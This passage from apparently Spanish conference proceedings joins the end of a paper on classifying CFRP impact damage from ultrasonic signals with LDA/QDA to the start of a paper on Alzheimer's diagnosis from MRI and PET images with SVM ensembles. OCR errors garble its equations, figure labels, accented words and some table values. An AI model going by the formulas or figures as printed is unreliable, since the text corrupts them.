como discriminante cuadratico (QDA) [15]. También se puede
optar por simplificar esta regla de clasificacion, suprimiendo
el ultimo sumando de la Ecuacién 9. Esto equivale a suponer
que todas las K clases estdn caracterizadas por una misma
matriz de covarianza (3 = 32). Dicha hipétesis nos conduce
a la Ecuacién (10), donde las separaciones entre clases se
establecen mediante fronteras lineales. Por ello, se conoce
como funcién discriminante lineal (LDA) [5] - [16].

9k = —

Ty —1

(x iu’k) z; (x H/k) +lOg(P(k))

Es destacable el hecho de que tanto LDA como QDA
permiten proyectar los datos en un espacio de menor di-
mension en el que se maximiza la separabilidad entre clases
(entendida ésta como una mayor distancia entre centroides
de clases diferentes). Ademads, hay que tener en cuenta que
el rendimiento de ambos clasificadores depende del tamafio
de los vectores de caracteristicas, asi como hasta qué punto
los datos de cada clase de dafio se ajustan a una distribucién
normal multivariable [11].

Jk,LDA = — (10)
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Fig. 4: Comparativa de los pardmetros que requieren los clasificadores.

A continuacién, en las ecuaciones (11) y (12) se compara
el nimero de pardmetros NN, que se deben estimar en cada
clasificador para delimitar las fronteras entre las distintas
categorias de dafio.

Nprpa= (K —1)(L+1) (11
L(L+3
Npgpa = (K — 1) <(2+) + 1) (12)

Viendo las ecuaciones anteriores queda patente que la comple-
jidad de LDA es O(L), mientras que la de QDA O(L?). Un
ejemplo de ello se observa en la figura 4, donde se compara
el nimero de pardmetros que requieren ambos clasificadores
para un caso con K = 6 clases y vectores de caracteristicas
de hasta 128 componentes. Se comprueba que en QDA el
nimero de pardmetros a estimar se dispara rdpidamente, lo
que generaria clasificadores muy poco robustos. Este hecho
nos permite justificar nuevamente la necesidad de introducir
técnicas de reduccién dimensional, ya que si se trabaja con
los vectores de caracteristicas sin reducir, la complejidad haria
practicamente inviable QDA.

Por tanto, LDA tiene ventaja en cuanto a mayor sencillez, lo
que facilita el entrenamiento del sistema cuando no se dispone
de una gran base de datos. Ademds, QDA presenta serios
problemas con conjuntos de datos mal condicionados, por
ejemplo, cuando contienen mucha informacién redundante.
Sin embargo, como contrapartida, QDA proporciona fronteras
de decisién mads flexibles.

E. Interfaz grdfica

Para facilitar la utilizacion del sistema de clasificacion, se
ha disefiado una interfaz grifica en MATLAB empleando

EVALUACION ULTRASONICA NO DESTRUCTIVA - Reoucs

: PCAANALISIS DE CONPO... ~)
MATRIZ CONFUSION LDA

MATRIZ CONFUSION QDA
DA A0S

a0 4

— D0 4

aiio 3 a0 3
vtz

oaiio 2 pafio 2

D0 1 (7100 oatio 1 Modslos

i oafo i oA -5,

(I £vroR oA vaoon
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pesado(%) e

HICARCLASFEACON

LDA @i pesar

QDA smpesar  LDA pesad QDA pesado

Fig. 5: Interfaz disefiada mediante GUIDE de MATLAB.
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Tabla I: Error ponderado (werr[%]) comparando los modelos mecdnicos empleando parametrizacién cepstral

Parametrizacion Andlisis Técnicas L-componentes conservadas en el espacio de salida
y modelo Discriminante de reduccién 3 4 5 6 7 8 9 10
ACP 11.38 6.66 597 7.63 791 12.22 19.16 17.22
LDA AF 6.38 5.83 4.44 8.47 8.47 15.27 2375 28.88
Cepstrum AMI1 SPE 7.91 8.88 7.36 14.58 24.02 25.13 44.82 52.68
ACP 16.11 7.22 6.11 5.69 375 333 333 291
QDA AF 7.63 6.52 597 4.44 5.00 4.58 4.16 2.63
SPE 8.75 6.94 5.27 7.08 5.13 5.00 3.88 5.41
ACP 6.11 4.30 3.47 0.55 2.36 6.80 8.47 13.61
LDA AF 541 5.00 2.36 2.36 4.86 11.11 14.02 16.66
Cepstrum AM2 SPE 43 4.16 3.88 7.77 1291 43.05 44.30 53.88
ACP 5.41 4.48 1.94 0.27 0.55 0.00 0.00 0.00
QDA AF 5.55 4.02 1.38 1.11 0.83 0.69 0.13 0.13
SPE 5.00 3.33 2.91 1.80 1.11 0.41 0.13 0.00

GUIDE de cara al usuario final, tal y como se mues-
tra en la Fig. 5. Esta permite la seleccién de distintos
pardmetros de interés, entre ellos: modelo mecénico utilizado,
parametrizacion elegida, técnica de reduccién dimensional,
nimero de componentes tras la reduccién dimensional, tipo
de andlisis discriminante aplicado o el tipo de visualizacién
de los resultados. Permitiendo este tipo de modificaciones se
facilita su utilizacién para la clasificaciéon de otros conjuntos
de datos diferentes.

IV. EVALUACION DEL SISTEMA

Como se detall6 en la Seccidén II, nuestro conjunto de datos
consiste en 240 sefiales, 40 para cada una de las 6 categorias
de dafio consideradas. En primer lugar se les aplica una
parametrizacion basada en alguno de los modelos mecanicos.
A continuacion se aplica un proceso de liftering para retener
128 coeficientes (en el dominio cepstral) o 50 (en el caso de la
DCT), el cual se puede considerar como una primera etapa de
reduccion de caracteristicas. Después se emplea alguna de las
técnicas de la Seccién III-C para reducir ain mas el tamafio
de los vectores de pardmetros, de manera que se conservan
entre 3 y 10 caracteristicas en el espacio de salida (ver figura
2). Estos tltimos son los que sirven de entrada al sistema de
clasificacién en si.

Para aprovechar de manera Optima el conjunto de datos
disponible, el entrenamiento/test del mismo se hace mediante
leaving-one-out. Asi, se promedian 39 mediciones para entre-
nar un vector de parametros de referencia (ya sea cepstral o
DCT) para que sea representante de cada categoria, mientras
que la medicion restante se emplea para test. Rotando las
mediciones de test empleadas se logra tener un sistema
entrenado siempre con 39 mediciones por categoria de dafio,
pero evaluado sobre todas las medidas. Para etiquetar una
muestra de test como perteneciente a una clase de dafio, se
medird la distancia de su vector de pardmetros con el de
referencia de todas las clases y se asignard la que esté mads
cerca.

Para evaluar la tasa de acierto del sistema se emplea un
error ponderado we,., segln el cual se penaliza mas al sistema
cuando confunde categorias de dafio muy alejadas entre si. Si
R(i,j) representa la matriz de confusién, con ¢ = 1,...,6
y siendo R(i,j) el nimero de mediciones que sabemos que
pertenecen a la clase ¢ pero se han clasificado erréneamente
como parte de la clase 7, entonces el error se expresa a través
de la Ecuacion 13.
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Los principales resultados obtenidos se recogen en las
Tablas I y II. En la primera de ellas se compara el error
ponderado alcanzado con los pardmetros cepstrales extraidos
de cada uno de los dos modelos, AM1 y AM?2, en funcién
del nimero L de componentes preservadas para la etapa de
clasificacion. En primer lugar resulta evidente que AM2 logra
menor error de clasificacién, por lo que aunque requiere mas
pardmetros (dispone de mds predictores que ajustar) resulta
mds apropiado para modelar la sefial ultrasénica. Por otro
lado, cabe destacar el severo efecto Hughes que sufren los
clasificadores LDA, de manera que su precision depende
fuertemente de L: existe un valor éptimo de este parametro,
y si nos alejamos del mismo (ya sea con valores de L muy
grandes o muy pequefios) las prestaciones de la clasificacion
se degradan rapidamente. Tipicamente, los mejores valores de
L oscilan entre 5 y 6. Por el contrario, las clasificaciones con
QDA no parecen verse tan afectadas por el efecto Hughes,
hasta el punto que la dependencia de la tasa de aciertos con
L es mas suave, pudiéndose definir un rango mas amplio de
valores de L en los que el sistema funciona bien. Sin embargo,
esto no significa que QDA evite por completo el fendmeno de
pico ya que a partir de valores muy grandes de L (L > 13)
las prestaciones del clasificador QDA también se degradan,
de manera similar a lo sucedido con LDA.

En la Tabla II se muestran los resultados obtenidos con
parametrizacién DCT extraida del modelo AM2. Comparando
con los resultados que se mostraban en la Tabla I de la
parametrizacién cepstral asociada a dicho modelo, se ob-
serva como el rendimiento es similar en ambos casos si
bien el efecto de pico es algo mds suave. En general, la
DCT empieza a proporcionar buenos resultados con menor
nimero de coeficientes L que el cepstrum. Sin embargo, los
mejores resultados se han obtenido con el cepstrum aunque
se necesitaba un mayor tamafio del vector de caracteristicas.

Finalmente, cabe destacar que la elecciéon de cualquiera
de las tres técnicas de reduccién dimensional recomendadas
(ACP, AF y SPE) proporciona una tasa de acierto muy similar,
de manera que los factores mds determinantes que acotan la
precision del sistema son el tipo de andlisis discriminante
aplicado y el tamafio de los vectores de caracteristicas L.
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Tabla II: Error ponderado (werr[%]) con parametrizacién DCT basada en el modelo AM2

Analisis Técnicas L-componentes conservadas en el espacio de salida
Discriminante de reduccion 3 4 5 6 7 8 9 10

ACP 3.75 1.25 0.55 2.64 791 11.38 12.77 12.22

LDA FA 3.19 0.55 0.55 3.19 10.13 10.83 10.00 8.19
SPE 3.33 1.66 0.97 2.50 11.94 12.64 11.25 14.44
ACP 3.61 I.IT 1.1T 041 0.97 0.27 0.41 0.41

QDA FA 5.00 1.80 0.41 0.27 0.41 0.27 0.13 0.13
SPE 5.27 1.94 0.55 0.55 0.27 0.13 0.13 0.00

V. CONCLUSIONES

En este articulo se ha analizado un procedimiento de
clasificacién que discrimina adecuadamente la severidad de
los dafios que sufre una placa de CFRP sometida a impactos
de diversa energia cinética, tras lo que se concluye:

1) Ambos modelos mecdnicos todo-polos, AMI y AM2,
sirven para extraer vectores de caracteristicas represen-
tativos de las distintas categorias de dafio, si bien AM2
es superior al tener en cuenta las reflexiones internas
que se producen entre las capas de la placa de test.

2) Tanto la parametrizacién cepstral como la basada en
DCT consiguen buenos resultados puesto que ambas
concentran la informacién de la sefial ultrasénica en
unos pocos coeficientes altamente significativos.

3) El esquema propuesto, basado en técnicas de reduccién
dimensional y clasificacién mediante andlisis discri-
minante, ofrece una tasa de acierto muy elevada en
comparacion a trabajos anteriores [2] - [6]. Este hecho
es debido a que se elimina gran parte de la informacién
irrelevante contenida en el conjunto de caracteristicas
extraidas de los modelos antes de pasar a la etapa de
clasificacién en si.

4) Las técnicas de reduccion de caracteristicas utilizadas
(ACP, AF o SPE) contribuyen a mitigar el fenémeno
Hughes en la clasificacién, asi como al ahorro com-
putacional.
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Resumen—En el presente capitulo se propone un nuevo
modelo estadistico para la clasificacion multimodal de imagenes
de resonancia magnética y de imagenes de tomografia por
emision de positrones para su uso en el diagnostico precoz de
la enfermedad de Alzheimer. Se han diseiiado y evaluado varios
algoritmos para clasificar imagenes de resonancia magnética que
han sido segmentadas en tejidos de materia blanca y materia gris
e imagenes de tomografia por emision de positrones, con objeto
de maximizar la tasa de acierto de los clasificadores mientras el
coste computacional se minimiza. Asi, se ha optado por emplear
conjuntos de maquinas de soporte vectoriales, se han empleado
criterios de ordenacion de voxeles y se han determinado los
parametros de clasificacion 6ptimos. De especial interés resulta
el dltimo algoritmo disefiado, en el que se propone un método
que combina la informacion de las tres modalidades de imagenes
disponibles de cada sujeto.

Palabras clave—Enfermedad de Alzheimer, Conjunto de SVM,
PET, IRM, Diagnéstico Asistido por Ordenador, Clasificador,
VAF, Materia Blanca, Materia Gris.

I. INTRODUCCION

A enfermedad de Alzheimer es la forma mds comin de

demencia, un término general para la pérdida de memo-
ria y otras habilidades intelectuales lo suficientemente serias
para interferir en la vida cotidiana. La Organizacién Mundial
de la Salud (OMS) define la enfermedad de Alzheimer como
una dolencia degenerativa cerebral primaria, de etiologia
desconocida, que presenta sintomas neuropatolégicos y neu-
roquimicos caracteristicos. Afecta al 5-7 % de las personas
de mas de sesenta y cinco afios y al 80 % de los mayores de
85 anos [1] [2].
Esta enfermedad afecta a mas de 30 millones de personas en
todo el mundo, de los cuales 8 millones son europeos y mas
de 800.000 residen en Espafia. Ademads, debido al progresivo
envejecimiento de la poblacién en los paises desarrollados,
se espera que estos numeros se tripliquen en 2050. A todo
esto hay que afadir que la Unica manera para diagnosticar
la enfermedad de Alzheimer de una manera completamente
segura es el andlisis post-mortem del cerebro del sujeto [3]
[4]. Hasta entonces, mientras el paciente vive, los médicos

s6lo pueden emitir un diagndstico posible o probable de la
enfermedad de Alzheimer. Este diagnéstico se realiza tradi-
cionalmente de dos formas. La primera es mediante unos test,
consistentes en una bateria de preguntas para la evaluacion de
la funcién cognitiva, que hacen posible discriminar entre la
existencia o no existencia de demencia y evaluar la gravedad
de la demencia en caso de que exista [5] [6]. Entre los
test empleados cabe destacar el Examen del Estado Mental
Minimo [7] , la Escala de Deterioro Global [8] o la Escala
de Evaluacién para la Enfermedad de Alzheimer [9]. Sin
embargo, el empleo de estos test no aporta un diagndstico
muy fiable puesto que factores exdgenos como el estado de
humor del paciente pueden suponer una puntuacién errénea
y, por tanto, un diagndstico erréneo. El segundo método
consiste en un andlisis visual de las imdgenes cerebrales.
Asi, se pueden obtener imdgenes del cerebro, que pueden
ser clasificadas en funcién de si ofrecen informacion sobre
la anatomia del cerebro (imdgenes estructurales) o si aportan
informacién sobre su metabolismo o su actividad cerebral
(imédgenes funcionales).

Sin embargo, un andlisis visual de estas imagenes tampoco
resulta una opcién infalible para el diagndstico, puesto que
en este caso también intervienen factores exdgenos que
pueden influir en el diagndstico, como son la experiencia del
profesional que realiza el diagndstico o las limitaciones del
ojo humano, que puede impedir que el profesional detecte
ciertas irregularidades en las imagenes.

Se estima que, mediante las baterfas de test neuropsi-
coldgicos y el examen visual de las imagenes neuroldgicas, un
profesional de la salud puede emitir un diagndstico con una
fiabilidad del 70% [10]. Para intentar aumentar la precision del
diagnéstico, en los ultimos afios se estd intentando encontrar
algin método que resulte completamente objetivo. Asi, se
han desarrollado los sistemas de ayuda al diagndstico por
ordenador o sistemas CAD. Si bien estos sistemas suponen
unicamente una ayuda al diagndstico y no una herramienta
en si, su uso por parte de un profesional de la salud permite
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aumentar la fiabilidad del diagnéstico.

1. IMAGENES CEREBRALES

En el presente trabajo se ha desarrollado un sistema de
ayuda al diagnéstico que emplea imagenes de resonancia
magnética (imagenes estructurales) e imdgenes de tomografia
por emisién de positrones, también llamadas PET (imagenes
funcionales).

Las imdagenes de resonancia magnética son imdgenes
obtenidas de manera no invasiva, que emplean los campos
magnéticos para obtener informacién de tejidos blandos
del cuerpo humano. La aplicacién de un campo magnético
sobre el cuerpo humano hace reaccionar a los nicleos
atdmicos presentes en el cuerpo, y estas reacciones pueden
ser recogidas mediante una bobina. Concretamente, para
la obtencién de estas imagenes se ajusta el escdner a la
frecuencia de resonancia de las moléculas de hidrégeno, de
manera que se obtiene una representacién de los tejidos del
cuerpo de acuerdo con el nivel de densidad de los fluidos
que lo forman [11].

Las imdgenes PET se obtienen gracias a la radiacién
que emite un radiotrazador o radiofdrmaco previamente
introducido en el cuerpo del paciente. El radiofirmaco se
distribuird por el cuerpo siguiendo la tasa metabdlica de la
molécula que compone este radiofdrmaco, obteniendo pues
como resultado informacién acerca del metabolismo del
paciente. Las imdgenes empleadas en el presente trabajo se
han obtenido mediante el uso del radiotrazador 18F, también
conocido como fluorodeoxyglucosa, un andlogo de la glucosa
que serd distribuido principalmente al cerebro y a células
tumorales, debido a la gran tasa de consumo de glucosa que
presentan este tipo de células [12] .

III. SiISTEMAS CAD

Los sistemas CAD emplean técnicas de aprendizaje au-
tomdtico, una rama de la Inteligencia Artificial que permite
dotar a los computadores de la capacidad de aprender, de
manera que se vuelven capaces de generalizar ciertos compor-
tamientos a partir de una informacién no estructurada sumin-
istrada en forma de ejemplos. Concretamente, en este trabajo
se hard uso del aprendizaje automadtico supervisado, consis-
tente en el empleo de ejemplos previamente etiquetados para
el entrenamiento del clasificador. La técnica empleada para la
construccién del clasificador serd las maquinas de vectores de
soporte 0 SVM [13], que consiste en un modelo que representa
el conjunto de entrenamiento en el espacio, separando las
clases a clasificar mediante el hiperplano 6ptimo, entendiendo
este como aquel que maximiza la separacién entre ambas
clases. A través de un conjunto de muestras previamente
etiquetado, se entrena a la maquina de vectores de soporte
y se prueba su rendimiento (a través de los conjuntos de
entrenamiento y test), de manera que la maquina de soporte
es capaz de generalizar la regla de etiquetado y etiquetar
muestras nuevas.

Grupo | Sujetos | Sexo M/F | Edad Media/Std | Puntos MMSE/Std
NC 68 43/25 75.81/4.93 29.06/1.08
MCI 111 76/35 76.39/6.96 26.68/2.16
AD 70 46/24 75.33/7.17 22.84/2.91

Tabla T

DATOS DEMOGRAFICOS DE LA BASE DE DATOS

IV. PREPROCESADO

Las imédgenes con las que se va a trabajar en este proyecto

han sido obtenidas del proyecto ADNI. Nacido en 2004 con el
objetivo de encontrar métodos mds sensibles y precisos para la
deteccién de la enfermedad de Alzheimer en etapas tempranas
y sefialar su avance a través de biomarcadores, el proyecto
ha recopilado y analizado miles de escédneres cerebrales,
perfiles genéticos y biomarcadores en la sangre y en el fluido
cerebroespinal, que son usados para medir el progreso de
la enfermedad o los efectos de un tratamiento. El estudio
cuenta actualmente con mds de 1000 participantes, incluyendo
sujetos sin demencia, sujetos con deterioro cognitivo leve y
sujetos diagnosticados como enfermos de Alzheimer.
Debido a la gran cantidad de participantes en el proyecto y
a la amplia variedad de escdneres y protocolos seguidos para
la toma de las iméagenes, el proyecto ADNI ha desarrollado
ciertos pasos de preprocesado con objeto de obtener un con-
junto de imagenes estandarizado. Estos pasos de preprocesado
difieren en el caso de las imdgenes de resonancia magnética
y en el caso de las imagenes PET.
Adicionalmente al preprocesado que ofrece la iniciativa
ADNI, en el presente trabajo se ha hecho uso del software
SPM (Statistical Parametric Mapping), un programa que per-
mite realizar test estadisticos a nivel de voxel. El preprocesado
que ofrece este programa permite, entre otros, situar las
imdgenes cerebrales en un mismo espacio anatémico estandar,
paso conocido como normalizacién espacial, de manera que
es posible la comparacién de las imédgenes.

V. BASE DE DATOS

Como podemos ver en la tabla I nuestra base de datos
consta de 68 sujetos diagnosticados como sanos, 70 sujetos
diagnosticados como enfermos de Alzheimer y 111 sujetos
catalogados como sujetos con deterioro cognitivo leve. Este
dltimo grupo se compone de sujetos que si bien por sus
puntuaciones en los test neuropsicolégicos no pueden diag-
nosticarse como enfermos de Alzheimer tampoco pueden ser
considerados como sujetos sanos. En cuanto a la edad de los
sujetos, podemos ver que son todos de una edad parecida
y que la distribucién por sexos, si bien presenta un mayor
nimero de hombres que de mujeres, el sexo no supone una
diferencia para el ambito de este estudio, por lo que podemos
afirmar que las conclusiones resultantes de este trabajo se
deberdn tnicamente a cambios cerebrales provocados por el
deterioro cognitivo.

VI. SISTEMA PROPUESTO

Mediante el uso de esta base de datos presentada anterior-
mente, se han desarrollado diversos algoritmos para la ayuda
al diagnéstico de la enfermedad de Alzheimer.

136



TSC / Procesado de senales biomédicas

N N

N

Imagenes

MR Umbralizado

Seleccién

voxeles

Ensemble
de Diagnéstico
SVMs

Criterios:
t-test
Entropy
Bhattacharyya
ROC
Wilcoxon

Fig. 1. Algoritmo para imdgenes de Resonancia Magnética

A. Algoritmo para imdgenes MRI

En 1 podemos ver los pasos seguidos por el algoritmo que
se encargard de la clasificacidn de las imdgenes de resonancia
magnética. El primer paso a realizar es el del umbralizado.
Este bloque va a permitir seleccionar los véxeles de interés,
acelerando de esta manera la velocidad de la clasificacién.
Asi, aquellas regiones del cerebro cuyos voxeles que, en los
pacientes diagnosticados como sanos, presenten muy poca
actividad, asi como los voxeles que se encuentran fuera de
los bordes del cerebro, no se considerardn en los siguientes
pasos. Con este fin, se construye una mdascara mediante
el promediado de todos los sujetos sanos y se seleccionan
aquellos véxeles cuyo nivel de intensidad sea mayor que un
cierto umbral t, encontrdndose como umbral éptimo para las
iméagenes de resonancia magnética un valor del 10% de la
intensidad maxima
Seguidamente, se seleccionan los subconjuntos que
constituirdn el conjunto de entrenamiento y el conjunto
de test. El esquema empleado para seleccionar estos
subconjuntos es la validacién cruzada de K iteraciones.
Consiste en dividir el conjunto de muestras en K espacios
de igual tamafio y mutuamente excluyentes, de manera que
para cada iteracién se selecciona un espacio para evaluar el
rendimiento del clasificador, empleando el conjunto formado
por la unién de todos los otros K-1 espacios para entrenar
el clasificador. Una vez hemos definido los conjuntos, se
seleccionan los voxeles que se empleardn en el estudio
empleando varios criterios para medir la separabilidad de
las clases. Concretamente, estos criterios son el test £ de
Student o t-test, la curva ROC, el criterio de Bhattacharyya,
la divergencia de Kullback-Leibler o criterio Entropy y el
test U de Mann-Whitney-Wilcoxon o simplemente Wilcoxon.
Podemos encontrar mds informacién acerca de estos criterios
para medir las diferencias entre clases en [14].

Asi, se escoge uno de los 5 criterios y se obtiene como
resultado los véxeles ordenados de acuerdo con su poder
discriminativo. Posteriormente, se selecciona el nimero de
véxeles con los que se va a trabajar, que vendra definido por
un pardmetro al que llamaremos umbral. Esta seleccién de
voxeles resulta de vital importancia, y resulta un paso que
debe realizarse con cuidado, puesto que los voxeles que no
estén contenidos en umbral seran descartados, eliminando la
informacién que aportan. Asi, se realiza un ranking de véxeles
de acuerdo con su poder discriminativo, y se seleccionaran los
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voxeles de mayor a menor poder discriminativo, buscando en-
contrar un compromiso entre el coste computacional requerido
al evaluar un nimero considerable de voxeles y la tasa de
aciertos que arrojard el clasificador [14].

Finalmente, se construye un conjunto de SVMs [15], que
serd el encargado de la construccién propiamente dicha de los
clasificadores. Con objeto de obtener un diagndstico lo mas
preciso posible, se ha recurrido a los ensemble o conjunto de
SVMs, es decir, a combinar la salida de varias miquinas de
soporte vectoriales independientes entre si. Asi, se construyen
varias maquinas de vectores de soporte, cuyo nimero vendra
determinado por el valor de un pardmetro denominado tamafio
del subconjunto. Este pardmetro indica el nimero de véxeles
con los que trabajard la primera SVM implementada. La
segunda SVM trabajard con un nimero de voxeles igual al
doble de este valor, hasta que, finalmente, la dltima SVM
implementada emplee todos los voxeles disponibles. Resulta
necesario indicar que los véxeles estardn ordenados de mayor
a menor poder discriminativo. Para la construccién de estos
M subconjuntos fy,, con los que trabajardn las SVMs imple-
mentadas, se sigue la regla:

%
fm = U Xr; (H

j=1

donde « es un pardmetro que representa la tasa de incremento
del niimero de véxeles afiadidos en cada iteracién. El nlimero
de mdquinas de soporte vectoriales que se empleardn en
cada caso dependerd tanto del ndmero de caracteristicas
que se deben evaluar como del tamafio del subconjunto
seleccionado. Una vez se han entrenado estas SVMs, se pasa
a la fase de test. Ante una nueva imagen I, se extraen M
conjuntos de caracteristicas xtfnst,m € 1,...M. Se aplica cada
modelo de SVM al respectivo subconjunto de caracteristicas
para obtener una clasificacion:

Yo = WhXES 4 by @)

Posteriormente, este resultado de la clasificaciéon se combina

empleando un esquema de votacién simple para determinar a
qué clase corresponde la imagen que se estd testando.

. 1 M pred
Ytest = sgn(M Z Ym ) 3)
m=1
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B. Algoritmo para imdgenes PET

El segundo algoritmo que se ha disefiado en este trabajo
es el que permite la construcciéon de un clasificador de
imigenes de tomograffa por emisién de positrones. Tal y
como podemos ver en 2, los pasos que sigue este algoritmo
son idénticos a los que sigue el algoritmo de 1 a excepcién
del primer paso, el paso de normalizacién en intensidad. Este
paso resulta imprescindible para obtener un buen rendimiento
del clasificador, ya que lo que estamos comparando son
las intensidades de los vodxeles que se encuentran en
unas posiciones concretas. Las imdagenes facilitadas por
la iniciativa ADNI son sometidas a una normalizacién en
intensidad en los pasos de pre-procesado [16]. Para ello
se genera una imagen promedio a partir de las imigenes
normalizadas espacialmente y se normalizan las imigenes
empleando una mascara especifica para cada sujeto, de
manera que el promedio de los véxeles dentro de la mdscara
es igual a 1. Este procedimiento esta definido en la guia de
Protocolos para la obtencién de las imdgenes PET para ADNI.

Sin embargo, un andlisis de los histogramas de un sujeto
diagnosticado como sano y otro sujeto diagnosticado como
enfermo de Alzheimer nos permite comprobar que las
intensidades de los vdxeles se encuentran en un rango en
el que la comparacién directa de estas intensidades no
resulta una tarea facil. Por ello, se introduce una nueva
normalizacién, que dard como resultado unas intensidades
comprendidas en el rango [0,1]. El procedimiento empleado
para conseguir esta normalizacién consiste en evaluar todas
las imdgenes de la base de datos, con objeto de encontrar el
valor del mdximo global al que normalizar las imagenes. El
primer paso consiste en encontrar el maximo de cada imagen.
Para ello, se realiza un procedimiento similar al realizado

en [17], donde el maximo de cada imagen se obtiene
promediando el 3% de los véxeles de mayor intensidad,
pero con ciertas peculiaridades. Si tomamos el 3%, las
imdgenes pueden estar expuestas a saturacion, ya que se
estd tomando un valor relativamente pequefio. Las imdgenes
PET presentan un pico en los primeros niveles de intensidad,
el cual se corresponde con regiones no pertenecientes al
espacio cerebral y que aportan, por tanto, informacién
irrelevante. Para solventar este hecho se establecen 50 bins
para las imagenes y los valores de intensidad con los que
se trabaja se toman a partir del décimo bin, descartando de
esta manera gran parte de la informacién que aporta este
pico. Posteriormente, se calcula la media del 0.1% de los
voxeles de mayor intensidad, tomando este valor ya que
en una amplia seleccién de articulos se ha encontrado este
valor como el 6ptimo ([4], [18], [19]). Seguidamente se
toma el valor més alto encontrado y se normalizan todas
las imdgenes a este valor. Podemos ver un esquema del
algoritmo planteado para la normalizacién en 3.

Ademas de este paso adicional, en el paso de umbralizado
se ha seleccionado como umbral un valor igual al 25% de la
intensidad mdxima.

C. Algoritmo de clasificacion conjunta

Con el objetivo de obtener un diagnéstico lo maés
fiable posible, se ha decidido construir un clasificador que
emplee tanto la informacidn proveniente de las imégenes
PET como la informacidon ofrecida por las imdgenes de
resonancia magnética de la materia gris y la materia blanca.
El diagnéstico final se obtendrd como una combinacién
lineal de los diagnésticos de cada clasificador por separado.
Antes de tomar esta decisiéon conjunta, se hard un estudio
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individual con cada clasificador, de manera que se obtenga
su probabilidad de acierto y ésta pueda emplearse para
ponderar el diagndstico de cada clasificador. Asi, una vez
se obtienen estos pesos, se asigna a una etiqueta a cada
diagnostico (por comodidad y al tener tnicamente dos clases,
estas etiquetas serdin —1,41) y se multiplica la etiqueta
por el peso correspondiente, entendiendo este peso como
la tasa de acierto de cada clasificador individual. En este
esquema, la decisién final se obtiene mediante la suma de
estos resultados, diagnosticando como perteneciente a una
clase o a otra de acuerdo con el signo del resultado obtenido,
siguiendo un esquema similar al que se ha presentado en (3).
Esto es lo que vemos representado en (4), representando yc, a
la etiqueta correspondiente a cada uno de los 3 clasificadores,
A; a su peso asociado y yc+ a la etiqueta final.

yer =sgn(yc, - M +yc, - A2 +yc, - As) @)

Resulta necesario indicar que, para garantizar que no se
estd sobreentrenando a los clasificadores, el estudio previo
para determinar los pesos de cada clasificador se realiza con
un subconjunto de entrenamiento y un subconjunto de test
diferentes a los que se emplean para el diagndstico obtenido
en la decision final. En la figura 4 podemos ver el esquema
que sigue el algoritmo de clasificaciéon multimodal.

VII. RESULTADOS Y CONCLUSIONES

En el presente trabajo se ha presentado un sistema de di-
agnostico por ordenador que emplea imagenes de tomografia
por emisién de positrones (PET) e imdgenes de resonancia
magnética (MRI) de las segmentaciones de materia gris y
materia blanca con el objetivo de discriminar entre enfermos
de Alzheimer, sujetos sanos y sujetos con deterioro cognitivo
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leve. Empleando los voxeles de las imdgenes para disefiar los
vectores de caracteristicas (metodologia Voxels as Features o
VAF), se han implementado varios clasificadores que recurren
a la salida de un conjunto de méaquinas de vectores de soporte
para la toma de decision. Se ha conseguido probar que, a
través de la combinacion en un esquema de voto por mayoria
simple de las salidas del conjunto de maquinas de vectores de
soporte es posible alcanzar tasas de acierto superiores a las
que arrojan los clasificadores que Unicamente emplean una
méiquina de vectores de soporte para la toma de decisién.
De especial mencion resulta el dltimo algoritmo implemen-
tado, donde se ha disefiado un clasificador multimodal capaz
de combinar la informacién de las imdgenes de resonancia
magnética y de las imdgenes de tomografia por emisién de
positrones a través de un esquema de voto por mayoria pon-
derado donde se combina la informacion de los clasificadores
unimodales anteriormente presentados. Se ha probado también
que este algoritmo arroja tasas de clasificacién superiores
a los clasificadores anteriormente estudiados, por lo que se
recomienda su uso en un sistema de ayuda al diagndstico por
ordenador.

En el sistema implementado se ha conseguido identificar el
minimo ndmero de voxeles a evaluar sin que el rendimiento
del clasificador se vea afectado, reduciendo asi el tiempo y
el coste computacional requerido. Ademads, se ha evaluado la
influencia de elegir un determinado tamafio para los conjuntos
de entrenamiento y test, asi como la influencia del ndimero
que conformard el conjunto de SVMs para la construccién
del clasificador, buscando encontrar los parimetros 6ptimos
que conducirdn a la mayor tasa de acierto posible. Asi, tras
las diferentes pruebas realizadas, se han determinado los
pardmetros Optimos, entendiendo 6ptimos como aquellos que
maximizan el rendimiento del clasificador mientras que se
reduce el tiempo computacional. De esta manera, se ha de-
terminado que el nimero éptimo de SVMs que deben formar
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el conjunto de SVMs es de 2, el nimero minimo de véxeles
que deben emplearse es de 1000 voxeles para las imédgenes
de resonancia magnética, tanto para las segmentaciones de
materia blanca y materia gris, y 2500 véxeles para imigenes
de tomografia por emision de positrones. En cuanto a la
técnica de evaluacion k-fold, se ha concluido que la técnica
10-fold es la que arroja mejores resultados. Finalmente, se
ha concluido que el criterio ROC es el que arroja las tasas
de acierto mas altas en la clasificacion NOR vs AD, con
una tasa de acierto de mas del 96%, el criterio Wilcoxon
para la clasificacion NOR vs MCI, con unas tasas de acierto
superiores al 92%, y para la clasificacion MCI vs AD el
criterio que arroja mayores tasas de acierto resulta nuevamente
el criterio ROC, con valores mayores del 87%.

Asi, la reducciéon de voéxeles supone pasar de 2122945
voxeles en el caso de las imdgenes PET y de 510340 véxeles
en el caso de las imigenes de resonancia magnética a 2500
voxeles para imdgenes PET y a 1000 voxeles en el caso
de imagenes de resonancia magnética, lo que supone unas
reducciones del 99.9896% y del 99.8% respectivamente. Esta
reduccién de voxeles es ain mayor si se tiene en cuenta que
las imédgenes con las que se ha trabajado en este proyecto
se habian sometido a varios métodos de preprocesado, desta-
cando el realizado por la iniciativa Alzheimer’s Disease Neu-
roimaging Initiative (ADNI) o el realizado por el programa
Statistical Parametric Mapping (SPM).

Cabe destacar que el etiquetado de las imédgenes de la
base de datos ADNI no estd libre de errores, por lo que
el entrenamiento con imdégenes correctamente etiquetadas
conduciri a tasas de clasificacién mds altas. Las fluctuaciones
que sufren los resultados de la clasificacién pueden indicar
que la clasificaciéon de las clases NOR vs MCI y MCI
vs AD en el caso conjunto no es tan buena como la que
puede realizar alguno de los clasificadores individuales. Sin
embargo, sabemos que debido a la suma de errores la tasa
del clasificador conjunto puede verse mermadas. Un analisis
detallado de las gréficas permite ver que aparecen casos
donde los resultados de la clasificaciéon conjunta son mas
altos o, al menos, iguales a los resultados de los clasificadores
individuales.

Finalmente, en lineas de trabajo futuras podria estudi-
arse el rendimiento global del sistema cuando se emplea
un clasificador conjunto que, ademds de emplear los tres
tipos de imagenes empleados en este trabajo, afiadiese mads
tipos de imdgenes que hayan probado su utilidad en el
estudio de la enfermedad de Alzheimer, como pueden ser las
